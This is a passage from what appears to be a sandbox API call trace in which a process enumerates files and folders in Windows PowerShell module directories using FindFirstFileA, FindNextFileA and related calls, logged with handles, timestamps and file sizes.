(HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881480 [0230.987] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\Simple\\*.*", lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc714e87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7450 [0230.987] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc714e87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.987] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="Example3A.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1 [0230.987] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="Example3A.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0 [0230.987] FindClose (in: hFindFile=0x10f7450 | out: hFindFile=0x10f7450) returned 1 [0230.988] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\Simple\\Example3A.Diagnostics.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\modules\\example3.diagnostics\\1.1.1\\diagnostics\\simple\\example3a.diagnostics.tests.ps1")) returned 0x20 [0230.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0230.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38815e8 [0230.988] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\Simple\\Example3A.Diagnostics.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\Simple\\Example3A.Diagnostics.Tests.ps1", lpFilePart=0x9bada4*="Example3A.Diagnostics.Tests.ps1") returned 0xbb [0230.988] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\*.*", lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc715839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7310 [0230.989] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc715839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.989] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71620c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0230.989] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9babb0 | out: lpFindFileData=0x9babb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71620c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba96c, dwReserved1=0x73013d47, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0230.989] FindClose (in: hFindFile=0x10f7310 | out: hFindFile=0x10f7310) returned 1 [0230.989] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\modules\\example3.diagnostics\\2.0.1\\diagnostics")) returned 0x10 [0230.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334ce40 | out: hHeap=0x2ad0000) returned 1 [0230.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38814e0 [0230.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38815e8 | out: hHeap=0x2ad0000) returned 1 [0230.990] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\*.*", lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71620c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7610 [0230.990] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71620c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.990] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc716b2b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="Simple", cAlternateFileName="")) returned 1 [0230.991] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc716b2b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="Simple", cAlternateFileName="")) returned 0 [0230.991] FindClose (in: hFindFile=0x10f7610 | out: hFindFile=0x10f7610) returned 1 [0230.991] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\modules\\example3.diagnostics\\2.0.1\\diagnostics\\simple")) returned 0x10 [0230.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36a9b48 | out: hHeap=0x2ad0000) returned 1 [0230.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38814c8 [0230.991] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple\\*.*", lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc716b2b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7490 [0230.992] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc716b2b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.992] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="Example3B.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1 [0230.992] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="Example3B.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0 [0230.992] FindClose (in: hFindFile=0x10f7490 | out: hFindFile=0x10f7490) returned 1 [0230.992] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple\\Example3B.Diagnostics.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test\\modules\\example3.diagnostics\\2.0.1\\diagnostics\\simple\\example3b.diagnostics.tests.ps1")) returned 0x20 [0230.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0230.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881330 [0230.993] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple\\Example3B.Diagnostics.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple\\Example3B.Diagnostics.Tests.ps1", lpFilePart=0x9bada4*="Example3B.Diagnostics.Tests.ps1") returned 0xbb [0230.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0230.993] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f74d0 [0230.993] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.994] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc718a55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0230.994] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc718a55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0230.994] FindClose (in: hFindFile=0x10f74d0 | out: hFindFile=0x10f74d0) returned 1 [0230.994] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1")) returned 0x10 [0230.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a22a8 | out: hHeap=0x2ad0000) returned 1 [0230.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0230.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881330 | out: hHeap=0x2ad0000) returned 1 [0230.995] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc718a55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7450 [0231.010] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc718a55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0231.010] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc79e72b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="en", cAlternateFileName="")) returned 1 [0231.010] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a780592, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Microsoft.PackageManagement.ArchiverProviders.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0231.010] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a780592, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Microsoft.PackageManagement.CoreProviders.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0231.010] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a780592, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3da00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Microsoft.PackageManagement.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0231.010] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a780592, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Microsoft.PackageManagement.MetaProvider.PowerShell.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0231.011] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39200, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsiProvider.dll", cAlternateFileName="MID877~1.DLL")) returned 1 [0231.011] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsuProvider.dll", cAlternateFileName="MI0F1E~1.DLL")) returned 1 [0231.011] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.dll", cAlternateFileName="MI6305~1.DLL")) returned 1 [0231.011] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x405f, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="PackageManagement.format.ps1xml", cAlternateFileName="PACKAG~1.PS1")) returned 1 [0231.011] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="PackageManagement.psd1", cAlternateFileName="PACKAG~1.PSD")) returned 1 [0231.011] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2999, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="PackageProviderFunctions.psm1", cAlternateFileName="PACKAG~1.PSM")) returned 1 [0231.011] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2999, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="PackageProviderFunctions.psm1", cAlternateFileName="PACKAG~1.PSM")) returned 0 [0231.012] FindClose (in: hFindFile=0x10f7450 | out: hFindFile=0x10f7450) returned 1 [0231.012] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\en")) returned 0x10 [0231.013] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a23b0 | out: hHeap=0x2ad0000) returned 1 [0231.013] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38815d0 [0231.013] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PackageManagement.ArchiverProviders.dll" (normalized: "c:\\program files 